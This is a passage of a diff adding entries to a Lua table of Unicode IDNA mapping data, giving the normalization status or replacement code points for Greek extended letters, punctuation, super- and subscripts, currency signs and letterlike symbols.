+ [0x1F73] = 0x03AD, -- GREEK SMALL LETTER EPSILON WITH OXIA
+ [0x1F74] = {status="valid"}, -- GREEK SMALL LETTER ETA WITH VARIA
+ [0x1F75] = 0x03AE, -- GREEK SMALL LETTER ETA WITH OXIA
+ [0x1F76] = {status="valid"}, -- GREEK SMALL LETTER IOTA WITH VARIA
+ [0x1F77] = 0x03AF, -- GREEK SMALL LETTER IOTA WITH OXIA
+ [0x1F78] = {status="valid"}, -- GREEK SMALL LETTER OMICRON WITH VARIA
+ [0x1F79] = 0x03CC, -- GREEK SMALL LETTER OMICRON WITH OXIA
+ [0x1F7A] = {status="valid"}, -- GREEK SMALL LETTER UPSILON WITH VARIA
+ [0x1F7B] = 0x03CD, -- GREEK SMALL LETTER UPSILON WITH OXIA
+ [0x1F7C] = {status="valid"}, -- GREEK SMALL LETTER OMEGA WITH VARIA
+ [0x1F7D] = 0x03CE, -- GREEK SMALL LETTER OMEGA WITH OXIA
+ [0x1F80] = {0x1F00, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI
+ [0x1F81] = {0x1F01, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI
+ [0x1F82] = {0x1F02, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+ [0x1F83] = {0x1F03, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+ [0x1F84] = {0x1F04, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+ [0x1F85] = {0x1F05, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+ [0x1F86] = {0x1F06, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1F87] = {0x1F07, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1F88] = {0x1F00, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI
+ [0x1F89] = {0x1F01, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI
+ [0x1F8A] = {0x1F02, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+ [0x1F8B] = {0x1F03, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+ [0x1F8C] = {0x1F04, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+ [0x1F8D] = {0x1F05, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+ [0x1F8E] = {0x1F06, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+ [0x1F8F] = {0x1F07, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+ [0x1F90] = {0x1F20, 0x03B9}, -- GREEK SMALL LETTER ETA WITH PSILI AND YPOGEGRAMMENI
+ [0x1F91] = {0x1F21, 0x03B9}, -- GREEK SMALL LETTER ETA WITH DASIA AND YPOGEGRAMMENI
+ [0x1F92] = {0x1F22, 0x03B9}, -- GREEK SMALL LETTER ETA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+ [0x1F93] = {0x1F23, 0x03B9}, -- GREEK SMALL LETTER ETA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+ [0x1F94] = {0x1F24, 0x03B9}, -- GREEK SMALL LETTER ETA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+ [0x1F95] = {0x1F25, 0x03B9}, -- GREEK SMALL LETTER ETA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+ [0x1F96] = {0x1F26, 0x03B9}, -- GREEK SMALL LETTER ETA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1F97] = {0x1F27, 0x03B9}, -- GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1F98] = {0x1F20, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH PSILI AND PROSGEGRAMMENI
+ [0x1F99] = {0x1F21, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH DASIA AND PROSGEGRAMMENI
+ [0x1F9A] = {0x1F22, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+ [0x1F9B] = {0x1F23, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+ [0x1F9C] = {0x1F24, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+ [0x1F9D] = {0x1F25, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+ [0x1F9E] = {0x1F26, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+ [0x1F9F] = {0x1F27, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+ [0x1FA0] = {0x1F60, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH PSILI AND YPOGEGRAMMENI
+ [0x1FA1] = {0x1F61, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH DASIA AND YPOGEGRAMMENI
+ [0x1FA2] = {0x1F62, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH PSILI AND VARIA AND YPOGEGRAMMENI
+ [0x1FA3] = {0x1F63, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH DASIA AND VARIA AND YPOGEGRAMMENI
+ [0x1FA4] = {0x1F64, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH PSILI AND OXIA AND YPOGEGRAMMENI
+ [0x1FA5] = {0x1F65, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH DASIA AND OXIA AND YPOGEGRAMMENI
+ [0x1FA6] = {0x1F66, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1FA7] = {0x1F67, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI
+ [0x1FA8] = {0x1F60, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND PROSGEGRAMMENI
+ [0x1FA9] = {0x1F61, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND PROSGEGRAMMENI
+ [0x1FAA] = {0x1F62, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND VARIA AND PROSGEGRAMMENI
+ [0x1FAB] = {0x1F63, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND VARIA AND PROSGEGRAMMENI
+ [0x1FAC] = {0x1F64, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND OXIA AND PROSGEGRAMMENI
+ [0x1FAD] = {0x1F65, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND OXIA AND PROSGEGRAMMENI
+ [0x1FAE] = {0x1F66, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI
+ [0x1FAF] = {0x1F67, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI
+ -- NA <reserved-1F7E>..<reserved-1F7F>
+ [0x1F7E] = {status="disallowed"},
+ [0x1F7F] = {status="disallowed"},
+ [0x1FB2] = {0x1F70, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI
+ [0x1FB3] = {0x03B1, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI
+ [0x1FB4] = {0x03AC, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI
+ [0x1FB5] = {status="disallowed"}, -- NA <reserved-1FB5>
+ [0x1FB6] = {status="valid"}, -- GREEK SMALL LETTER ALPHA WITH PERISPOMENI
+ [0x1FB7] = {0x1FB6, 0x03B9}, -- GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI
+ [0x1FB8] = 0x1FB0, -- GREEK CAPITAL LETTER ALPHA WITH VRACHY
+ [0x1FB9] = 0x1FB1, -- GREEK CAPITAL LETTER ALPHA WITH MACRON
+ [0x1FBA] = 0x1F70, -- GREEK CAPITAL LETTER ALPHA WITH VARIA
+ [0x1FBB] = 0x03AC, -- GREEK CAPITAL LETTER ALPHA WITH OXIA
+ [0x1FBC] = {0x03B1, 0x03B9}, -- GREEK CAPITAL LETTER ALPHA WITH PROSGEGRAMMENI
+ [0x1FBD] = {status="disallowed"}, -- GREEK KORONIS
+ [0x1FBE] = 0x03B9, -- GREEK PROSGEGRAMMENI
+ [0x1FBF] = {status="disallowed"}, -- GREEK PSILI
+ [0x1FC0] = {status="disallowed"}, -- GREEK PERISPOMENI
+ [0x1FC1] = {status="disallowed"}, -- GREEK DIALYTIKA AND PERISPOMENI
+ [0x1FC2] = {0x1F74, 0x03B9}, -- GREEK SMALL LETTER ETA WITH VARIA AND YPOGEGRAMMENI
+ [0x1FC3] = {0x03B7, 0x03B9}, -- GREEK SMALL LETTER ETA WITH YPOGEGRAMMENI
+ [0x1FC4] = {0x03AE, 0x03B9}, -- GREEK SMALL LETTER ETA WITH OXIA AND YPOGEGRAMMENI
+ [0x1FC5] = {status="disallowed"}, -- NA <reserved-1FC5>
+ [0x1FC6] = {status="valid"}, -- GREEK SMALL LETTER ETA WITH PERISPOMENI
+ [0x1FC7] = {0x1FC6, 0x03B9}, -- GREEK SMALL LETTER ETA WITH PERISPOMENI AND YPOGEGRAMMENI
+ [0x1FC8] = 0x1F72, -- GREEK CAPITAL LETTER EPSILON WITH VARIA
+ [0x1FC9] = 0x03AD, -- GREEK CAPITAL LETTER EPSILON WITH OXIA
+ [0x1FCA] = 0x1F74, -- GREEK CAPITAL LETTER ETA WITH VARIA
+ [0x1FCB] = 0x03AE, -- GREEK CAPITAL LETTER ETA WITH OXIA
+ [0x1FCC] = {0x03B7, 0x03B9}, -- GREEK CAPITAL LETTER ETA WITH PROSGEGRAMMENI
+ [0x1FCD] = {status="disallowed"}, -- GREEK PSILI AND VARIA
+ [0x1FCE] = {status="disallowed"}, -- GREEK PSILI AND OXIA
+ [0x1FCF] = {status="disallowed"}, -- GREEK PSILI AND PERISPOMENI
+ -- GREEK SMALL LETTER ALPHA WITH VRACHY..GREEK SMALL LETTER ALPHA WITH MACRON
+ [0x1FB0] = {status="valid"},
+ [0x1FB1] = {status="valid"},
+ [0x1FD3] = 0x0390, -- GREEK SMALL LETTER IOTA WITH DIALYTIKA AND OXIA
+ -- GREEK SMALL LETTER IOTA WITH VRACHY..GREEK SMALL LETTER IOTA WITH DIALYTIKA AND VARIA
+ [0x1FD0] = {status="valid"},
+ [0x1FD1] = {status="valid"},
+ [0x1FD2] = {status="valid"},
+ -- NA <reserved-1FD4>..<reserved-1FD5>
+ [0x1FD4] = {status="disallowed"},
+ [0x1FD5] = {status="disallowed"},
+ [0x1FD8] = 0x1FD0, -- GREEK CAPITAL LETTER IOTA WITH VRACHY
+ [0x1FD9] = 0x1FD1, -- GREEK CAPITAL LETTER IOTA WITH MACRON
+ [0x1FDA] = 0x1F76, -- GREEK CAPITAL LETTER IOTA WITH VARIA
+ [0x1FDB] = 0x03AF, -- GREEK CAPITAL LETTER IOTA WITH OXIA
+ [0x1FDC] = {status="disallowed"}, -- NA <reserved-1FDC>
+ [0x1FDD] = {status="disallowed"}, -- GREEK DASIA AND VARIA
+ [0x1FDE] = {status="disallowed"}, -- GREEK DASIA AND OXIA
+ [0x1FDF] = {status="disallowed"}, -- GREEK DASIA AND PERISPOMENI
+ -- GREEK SMALL LETTER IOTA WITH PERISPOMENI..GREEK SMALL LETTER IOTA WITH DIALYTIKA AND PERISPOMENI
+ [0x1FD6] = {status="valid"},
+ [0x1FD7] = {status="valid"},
+ [0x1FE3] = 0x03B0, -- GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND OXIA
+ -- GREEK SMALL LETTER UPSILON WITH VRACHY..GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND VARIA
+ [0x1FE0] = {status="valid"},
+ [0x1FE1] = {status="valid"},
+ [0x1FE2] = {status="valid"},
+ [0x1FE8] = 0x1FE0, -- GREEK CAPITAL LETTER UPSILON WITH VRACHY
+ [0x1FE9] = 0x1FE1, -- GREEK CAPITAL LETTER UPSILON WITH MACRON
+ [0x1FEA] = 0x1F7A, -- GREEK CAPITAL LETTER UPSILON WITH VARIA
+ [0x1FEB] = 0x03CD, -- GREEK CAPITAL LETTER UPSILON WITH OXIA
+ [0x1FEC] = 0x1FE5, -- GREEK CAPITAL LETTER RHO WITH DASIA
+ [0x1FED] = {status="disallowed"}, -- GREEK DIALYTIKA AND VARIA
+ [0x1FEE] = {status="disallowed"}, -- GREEK DIALYTIKA AND OXIA
+ [0x1FEF] = {status="disallowed"}, -- GREEK VARIA
+ -- GREEK SMALL LETTER RHO WITH PSILI..GREEK SMALL LETTER UPSILON WITH DIALYTIKA AND PERISPOMENI
+ [0x1FE4] = {status="valid"},
+ [0x1FE5] = {status="valid"},
+ [0x1FE6] = {status="valid"},
+ [0x1FE7] = {status="valid"},
+ [0x1FF2] = {0x1F7C, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH VARIA AND YPOGEGRAMMENI
+ [0x1FF3] = {0x03C9, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH YPOGEGRAMMENI
+ [0x1FF4] = {0x03CE, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH OXIA AND YPOGEGRAMMENI
+ [0x1FF5] = {status="disallowed"}, -- NA <reserved-1FF5>
+ [0x1FF6] = {status="valid"}, -- GREEK SMALL LETTER OMEGA WITH PERISPOMENI
+ [0x1FF7] = {0x1FF6, 0x03B9}, -- GREEK SMALL LETTER OMEGA WITH PERISPOMENI AND YPOGEGRAMMENI
+ [0x1FF8] = 0x1F78, -- GREEK CAPITAL LETTER OMICRON WITH VARIA
+ [0x1FF9] = 0x03CC, -- GREEK CAPITAL LETTER OMICRON WITH OXIA
+ [0x1FFA] = 0x1F7C, -- GREEK CAPITAL LETTER OMEGA WITH VARIA
+ [0x1FFB] = 0x03CE, -- GREEK CAPITAL LETTER OMEGA WITH OXIA
+ [0x1FFC] = {0x03C9, 0x03B9}, -- GREEK CAPITAL LETTER OMEGA WITH PROSGEGRAMMENI
+ [0x1FFD] = {status="disallowed"}, -- GREEK OXIA
+ [0x1FFE] = {status="disallowed"}, -- GREEK DASIA
+ [0x1FFF] = {status="disallowed"}, -- NA <reserved-1FFF>
+ -- NA <reserved-1FF0>..<reserved-1FF1>
+ [0x1FF0] = {status="disallowed"},
+ [0x1FF1] = {status="disallowed"},
+ [0x200B] = {status='ignored'}, -- ZERO WIDTH SPACE
+ -- ZERO WIDTH NON-JOINER..ZERO WIDTH JOINER
+ [0x200C] = {status='deviation', {}},
+ [0x200D] = {status='deviation', {}},
+ [0x2010] = {status="disallowed"}, -- HYPHEN
+ [0x2011] = 0x2010, -- NON-BREAKING HYPHEN
+ -- LEFT-TO-RIGHT MARK..RIGHT-TO-LEFT MARK
+ [0x200E] = {status="disallowed"},
+ [0x200F] = {status="disallowed"},
+ [0x2017] = {status="disallowed"}, -- DOUBLE LOW LINE
+ -- FIGURE DASH..DOUBLE VERTICAL LINE
+ [0x2012] = {status="disallowed"},
+ [0x2013] = {status="disallowed"},
+ [0x2014] = {status="disallowed"},
+ [0x2015] = {status="disallowed"},
+ [0x2016] = {status="disallowed"},
+ [0x2027] = {status="disallowed"}, -- HYPHENATION POINT
+ -- ONE DOT LEADER..HORIZONTAL ELLIPSIS
+ [0x2024] = {status="disallowed"},
+ [0x2025] = {status="disallowed"},
+ [0x2026] = {status="disallowed"},
+ [0x202F] = {status="disallowed"}, -- NARROW NO-BREAK SPACE
+ [0x2033] = {0x2032, 0x2032}, -- DOUBLE PRIME
+ [0x2034] = {0x2032, 0x2032, 0x2032}, -- TRIPLE PRIME
+ [0x2035] = {status="disallowed"}, -- REVERSED PRIME
+ [0x2036] = {0x2035, 0x2035}, -- REVERSED DOUBLE PRIME
+ [0x2037] = {0x2035, 0x2035, 0x2035}, -- REVERSED TRIPLE PRIME
+ -- PER MILLE SIGN..PRIME
+ [0x2030] = {status="disallowed"},
+ [0x2031] = {status="disallowed"},
+ [0x2032] = {status="disallowed"},
+ [0x203C] = {status="disallowed"}, -- DOUBLE EXCLAMATION MARK
+ [0x203D] = {status="disallowed"}, -- INTERROBANG
+ [0x203E] = {status="disallowed"}, -- OVERLINE
+ -- CARET..REFERENCE MARK
+ [0x2038] = {status="disallowed"},
+ [0x2039] = {status="disallowed"},
+ [0x203A] = {status="disallowed"},
+ [0x203B] = {status="disallowed"},
+ [0x2047] = {status="disallowed"}, -- DOUBLE QUESTION MARK
+ [0x2048] = {status="disallowed"}, -- QUESTION EXCLAMATION MARK
+ [0x2049] = {status="disallowed"}, -- EXCLAMATION QUESTION MARK
+ [0x2057] = {0x2032, 0x2032, 0x2032, 0x2032}, -- QUADRUPLE PRIME
+ [0x205F] = {status="disallowed"}, -- MEDIUM MATHEMATICAL SPACE
+ [0x2060] = {status='ignored'}, -- WORD JOINER
+ [0x2064] = {status='ignored'}, -- INVISIBLE PLUS
+ [0x2065] = {status="disallowed"}, -- NA <reserved-2065>
+ -- FUNCTION APPLICATION..INVISIBLE SEPARATOR
+ [0x2061] = {status="disallowed"},
+ [0x2062] = {status="disallowed"},
+ [0x2063] = {status="disallowed"},
+ [0x2070] = 0x0030, -- SUPERSCRIPT ZERO
+ [0x2071] = 0x0069, -- SUPERSCRIPT LATIN SMALL LETTER I
+ [0x2074] = 0x0034, -- SUPERSCRIPT FOUR
+ [0x2075] = 0x0035, -- SUPERSCRIPT FIVE
+ [0x2076] = 0x0036, -- SUPERSCRIPT SIX
+ [0x2077] = 0x0037, -- SUPERSCRIPT SEVEN
+ [0x2078] = 0x0038, -- SUPERSCRIPT EIGHT
+ [0x2079] = 0x0039, -- SUPERSCRIPT NINE
+ [0x207A] = {status="disallowed"}, -- SUPERSCRIPT PLUS SIGN
+ [0x207B] = 0x2212, -- SUPERSCRIPT MINUS
+ [0x207C] = {status="disallowed"}, -- SUPERSCRIPT EQUALS SIGN
+ [0x207D] = {status="disallowed"}, -- SUPERSCRIPT LEFT PARENTHESIS
+ [0x207E] = {status="disallowed"}, -- SUPERSCRIPT RIGHT PARENTHESIS
+ [0x207F] = 0x006E, -- SUPERSCRIPT LATIN SMALL LETTER N
+ [0x2080] = 0x0030, -- SUBSCRIPT ZERO
+ [0x2081] = 0x0031, -- SUBSCRIPT ONE
+ [0x2082] = 0x0032, -- SUBSCRIPT TWO
+ [0x2083] = 0x0033, -- SUBSCRIPT THREE
+ [0x2084] = 0x0034, -- SUBSCRIPT FOUR
+ [0x2085] = 0x0035, -- SUBSCRIPT FIVE
+ [0x2086] = 0x0036, -- SUBSCRIPT SIX
+ [0x2087] = 0x0037, -- SUBSCRIPT SEVEN
+ [0x2088] = 0x0038, -- SUBSCRIPT EIGHT
+ [0x2089] = 0x0039, -- SUBSCRIPT NINE
+ [0x208A] = {status="disallowed"}, -- SUBSCRIPT PLUS SIGN
+ [0x208B] = 0x2212, -- SUBSCRIPT MINUS
+ [0x208C] = {status="disallowed"}, -- SUBSCRIPT EQUALS SIGN
+ [0x208D] = {status="disallowed"}, -- SUBSCRIPT LEFT PARENTHESIS
+ [0x208E] = {status="disallowed"}, -- SUBSCRIPT RIGHT PARENTHESIS
+ [0x208F] = {status="disallowed"}, -- NA <reserved-208F>
+ [0x2090] = 0x0061, -- LATIN SUBSCRIPT SMALL LETTER A
+ [0x2091] = 0x0065, -- LATIN SUBSCRIPT SMALL LETTER E
+ [0x2092] = 0x006F, -- LATIN SUBSCRIPT SMALL LETTER O
+ [0x2093] = 0x0078, -- LATIN SUBSCRIPT SMALL LETTER X
+ [0x2094] = 0x0259, -- LATIN SUBSCRIPT SMALL LETTER SCHWA
+ [0x2095] = 0x0068, -- LATIN SUBSCRIPT SMALL LETTER H
+ [0x2096] = 0x006B, -- LATIN SUBSCRIPT SMALL LETTER K
+ [0x2097] = 0x006C, -- LATIN SUBSCRIPT SMALL LETTER L
+ [0x2098] = 0x006D, -- LATIN SUBSCRIPT SMALL LETTER M
+ [0x2099] = 0x006E, -- LATIN SUBSCRIPT SMALL LETTER N
+ [0x209A] = 0x0070, -- LATIN SUBSCRIPT SMALL LETTER P
+ [0x209B] = 0x0073, -- LATIN SUBSCRIPT SMALL LETTER S
+ [0x209C] = 0x0074, -- LATIN SUBSCRIPT SMALL LETTER T
+ -- NA <reserved-2072>..<reserved-2073>
+ [0x2072] = {status="disallowed"},
+ [0x2073] = {status="disallowed"},
+ -- NA <reserved-209D>..<reserved-209F>
+ [0x209D] = {status="disallowed"},
+ [0x209E] = {status="disallowed"},
+ [0x209F] = {status="disallowed"},
+ [0x20A8] = {0x0072, 0x0073}, -- RUPEE SIGN
+ [0x20AB] = {status="disallowed"}, -- DONG SIGN
+ [0x20AC] = {status="disallowed"}, -- EURO SIGN
+ -- WON SIGN..NEW SHEQEL SIGN
+ [0x20A9] = {status="disallowed"},
+ [0x20AA] = {status="disallowed"},
+ [0x20B9] = {status="disallowed"}, -- INDIAN RUPEE SIGN
+ [0x20BA] = {status="disallowed"}, -- TURKISH LIRA SIGN
+ [0x20BE] = {status="disallowed"}, -- LARI SIGN
+ [0x20BF] = {status="disallowed"}, -- BITCOIN SIGN
+ -- NORDIC MARK SIGN..RUBLE SIGN
+ [0x20BB] = {status="disallowed"},
+ [0x20BC] = {status="disallowed"},
+ [0x20BD] = {status="disallowed"},
+ [0x20EB] = {status="disallowed"}, -- COMBINING LONG DOUBLE SOLIDUS OVERLAY
+ [0x20F0] = {status="disallowed"}, -- COMBINING ASTERISK ABOVE
+ -- COMBINING RIGHTWARDS HARPOON WITH BARB DOWNWARDS..COMBINING RIGHT ARROW BELOW
+ [0x20EC] = {status="disallowed"},
+ [0x20ED] = {status="disallowed"},
+ [0x20EE] = {status="disallowed"},
+ [0x20EF] = {status="disallowed"},
+ [0x2100] = {status="disallowed"}, -- ACCOUNT OF
+ [0x2101] = {status="disallowed"}, -- ADDRESSED TO THE SUBJECT
+ [0x2102] = 0x0063, -- DOUBLE-STRUCK CAPITAL C
+ [0x2103] = {0x00B0, 0x0063}, -- DEGREE CELSIUS
+ [0x2104] = {status="disallowed"}, -- CENTRE LINE SYMBOL
+ [0x2105] = {status="disallowed"}, -- CARE OF
+ [0x2106] = {status="disallowed"}, -- CADA UNA
+ [0x2107] = 0x025B, -- EULER CONSTANT
+ [0x2108] = {status="disallowed"}, -- SCRUPLE
+ [0x2109] = {0x00B0, 0x0066}, -- DEGREE FAHRENHEIT
+ [0x210A] = 0x0067, -- SCRIPT SMALL G
+ [0x210F] = 0x0127, -- PLANCK CONSTANT OVER TWO PI
+ -- SCRIPT CAPITAL H..PLANCK CONSTANT
+ [0x210B] = 0x0068,
+ [0x210C] = 0x0068,
+ [0x210D] = 0x0068,
+ [0x210E] = 0x0068,
+ -- SCRIPT CAPITAL I..BLACK-LETTER CAPITAL I
+ [0x2110] = 0x0069,
+ [0x2111] = 0x0069,
+ [0x2114] = {status="disallowed"}, -- L B BAR SYMBOL
+ [0x2115] = 0x006E, -- DOUBLE-STRUCK CAPITAL N
+ [0x2116] = {0x006E, 0x006F}, -- NUMERO SIGN
+ -- SCRIPT CAPITAL L..SCRIPT SMALL L
+ [0x2112] = 0x006C,
+ [0x2113] = 0x006C,
+ [0x2119] = 0x0070, -- DOUBLE-STRUCK CAPITAL P
+ [0x211A] = 0x0071, -- DOUBLE-STRUCK CAPITAL Q
+ -- SOUND RECORDING COPYRIGHT..SCRIPT CAPITAL P
+ [0x2117] = {status="disallowed"},
+ [0x2118] = {status="disallowed"},
+ -- SCRIPT CAPITAL R..DOUBLE-STRUCK CAPITAL R
+ [0x211B] = 0x0072,
+ [0x211C] = 0x0072,
+ [0x211D] = 0x0072,
+ [0x2120] = {0x0073, 0x006D}, -- SERVICE MARK
+ [0x2121] = {0x0074, 0x0065, 0x006C}, -- TELEPHONE SIGN
+ [0x2122] = {0x0074, 0x006D}, -- TRADE MARK SIGN
+ [0x2123] = {status="disallowed"}, -- VERSICLE
+ [0x2124] = 0x007A, -- DOUBLE-STRUCK CAPITAL Z
+ [0x2125] = {status="disallowed"}, -- OUNCE SIGN
+ [0x2126] = 0x03C9, -- OHM SIGN
+ [0x2127] = {status="disallowed"}, -- INVERTED OHM SIGN
+ [0x2128] = 0x007A, -- BLACK-LETTER CAPITAL Z
+ [0x2129] = {status="disallowed"}, -- TURNED GREEK SMALL LETTER IOTA
+ [0x212A] = 0x006B, -- KELVIN SIGN
+ [0x212B] = 0x00E5, -- ANGSTROM SIGN
+ [0x212C] = 0x0062, -- SCRIPT CAPITAL B
+ [0x212D] = 0x0063, -- BLACK-LETTER CAPITAL C
+ [0x212E] = {status="disallowed"}, -- ESTIMATED SYMBOL
+ -- PRESCRIPTION TAKE..RESPONSE
+ [0x211E] = {status="disallowed"},
+ [0x211F] = {status="disallowed"},
+ [0x2131] = 0x0066, -- SCRIPT CAPITAL F
+ [0x2132] = {status="disallowed"}, -- TURNED CAPITAL F
+ [0x2133] = 0x006D, -- SCRIPT CAPITAL M
+ [0x2134] = 0x006F, -- SCRIPT SMALL O
+ [0x2135] = 0x05D0, -- ALEF SYMBOL
+ [0x2136] = 0x05D1, -- BET SYMBOL
+ [0x2137] = 0x05D2, -- GIMEL SYMBOL
+ [0x2138] = 0x05D3, -- DALET SYMBOL
+ [0x2139] = 0x0069, -- INFORMATION SOURCE
+ [0x213A] = {status="disallowed"}, -- ROTATED CAPITAL Q
+ [0x213B] = {0x0066, 0x0061, 0x0078}, -- FACSIMILE SIGN
+ [0x213C] = 0x03C0, -- DOUBLE-STRUCK SMALL PI
+ -- SCRIPT SMALL E..SCRIPT CAPITAL E
+ [0x212F] = 0x0065,
+ [0x2130] = 0x0065,
+ [0x213F] = 0x03C0, -- DOUBLE-STRUCK CAPITAL PI
+ [0x2140] = 0x2211, -- DOUBLE-STRUCK N-ARY SUMMATION
+ -- DOUBLE-STRUCK SMALL GAMMA..DOUBLE-STRUCK CAPITAL GAMMA
+ [0x213D] = 0x03B3,
+ [0x213E] = 0x03B3,
+ -- TURNED SANS-SERIF CAPITAL G..TURNED SANS-SERIF CAPITAL Y
+ [0x2141] = {status="disallowed"},
+ [0x2142] = {status="disallowed"},
+ [0x2143] = {status="disallowed"},
+ [0x2144] = {status="disallowed"},
+ [0x2147] = 0x0065, -- DOUBLE-STRUCK ITALIC SMALL E
+ [0x2148] = 0x0069, -- DOUBLE-STRUCK ITALIC SMALL I
+ [0x2149] = 0x006A, -- DOUBLE-STRUCK ITALIC SMALL J
+ -- DOUBLE-STRUCK ITALIC CAPITAL D..DOUBLE-STRUCK ITALIC SMALL D
+ [0x2145] = 0x0064,
+ [0x2146] = 0x0064,
+ [0x214C] = {status="disallowed"}, -- PER SIGN
+ [0x214D] = {status="disallowed"}, -- AKTIESELSKAB
+ [0x214E] = {status="valid"}, -- TURNED SMALL F
+ [0x214F] = {status="disallowed"}, -- SYMBOL FOR SAMARITAN SOURCE
+ [0x2150] = {0x0031, 0x2044, 0x0037}, -- VULGAR FRACTION ONE SEVENTH
+ [0x2151] = {0x0031, 0x2044, 0x0039}, -- VULGAR FRACTION ONE NINTH
+ [0x2152] = {0x0031, 0x2044, 0x0031, 0x0030}, -- VULGAR FRACTION ONE TENTH
+ [0x2153] = {0x0031, 0x2044, 0x0033}, -- VULGAR FRACTION ONE THIRD
+ [0x2154] = {0x0032, 0x2044, 0x0033}, -- VULGAR FRACTION TWO THIRDS
+ [0x2155] = {0x0031, 0x2044, 0x0035}, -- VULGAR FRACTION ONE FIFTH
+ [0x2156] = {0x0032, 0x2044, 0x0035}, -- VULGAR FRACTION TWO FIFTHS
+ [0x2157] = {0x0033, 0x2044, 0x0035}, -- VULGAR FRACTION THREE FIFTHS
+ [0x2158] = {0x0034, 0x2044, 0x0035}, -- VULGAR FRACTION FOUR FIFTHS
+ [0x2159] = {0x0031, 0x2044, 0x0036}, -- VULGAR FRACTION ONE SIXTH
+ [0x215A] = {0x0035, 0x2044, 0x0036}, -- VULGAR FRACTION FIVE SIXTHS
+ [0x215B] = {0x0031, 0x2044, 0x0038}, -- VULGAR FRACTION ONE EIGHTH
+ [0x215C] = {0x0033, 0x2044, 0x0038}, -- VULGAR FRACTION THREE EIGHTHS
+ [0x215D] = {0x0035, 0x2044, 0x0038}, -- VULGAR FRACTION FIVE EIGHTHS
+ [0x215E] = {0x0037, 0x2044, 0x0038}, -- VULGAR FRACTION SEVEN EIGHTHS
+ [0x215F] = {0x0031, 0x2044}, -- FRACTION NUMERATOR ONE
+ [0x2160] = 0x0069, -- ROMAN NUMERAL ONE
+ [0x2161] = {0x0069, 0x0069}, -- ROMAN NUMERAL TWO
+ [0x2162] = {0x0069, 0x0069, 0x0069}, -- ROMAN NUMERAL THREE
